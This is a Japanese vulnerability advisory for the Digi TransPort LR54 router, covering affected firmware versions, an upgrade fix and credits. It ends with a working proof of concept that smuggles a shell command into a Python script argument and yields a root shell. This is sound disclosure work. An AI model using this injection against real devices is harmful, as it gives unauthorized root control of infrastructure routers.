
Digi TransPort LR54は、産業、インフラ、小売、公共交通機関で広く使用されている高速LTEルーターです。
このデバイスは制限付きサンドボックス内でのPythonスクリプトの実行をサポートしており、SSH経由でアクセスできるカスタムシェルにも同じ制限が適用されます。そのため、管理者は基盤となるOSにアクセスできません。
私は、CLIがPythonスクリプトを実行する際のコマンドライン引数の処理方法を悪用して、サンドボックスから脱出しrootシェルを取得する方法を発見しました:
対話型のPythonプロセスがSIGINT(CTRL-C経由)を受信すると、スクリプトへの引数が対話型CLIのエラーロギングハンドラに渡される際に適切にエスケープされません。これにより、攻撃者はrootとして任意のコマンドを実行できます。
この脆弱性を悪用するには、攻撃者は'super'権限を持つ対話型CLIアクセスが必要です。このアクセスレベルを持つユーザーは、デバイス上でデフォルトで有効になっています。
Digi Transport LR54(およびWR64やWR54などの関連製品も影響を受ける可能性があります)
ファームウェアバージョン : 4.4.0.26 10/29/2018 21:14:06 ファームウェアバージョン : 4.3.2.24 09/06/2018 00:58:34
およびそれ以前のバージョンも影響を受ける可能性があります
ユーザーはファームウェアバージョン4.5.1.4以降にアップグレードする必要があります。デバイスに保存されている秘密鍵やパスフレーズなどの機密情報は、予防措置として変更する必要があります。
sleep.pyをLR54にアップロードします:import time;time.sleep(10)
python sleep.py --XXX $(/bin/sh -i >&2)
プログラムの起動後、すぐにCTRL-Cを押します
その後、対話型のrootシェルに落とされます
/home/digi/user # uname -a
Linux (none) 3.10.14 #1 SMP Mon Oct 29 16:18:10 CDT 2018 mips GNU/Linux
/home/digi/user # id
uid=0(root) gid=2000(users_rw) groups=2000(users_rw),2002(users_super)
脆弱性はStig Palmquistによって発見されました。
このレポートをレビューしてくれた@duniel_plsと@alexanderkjallに感謝します。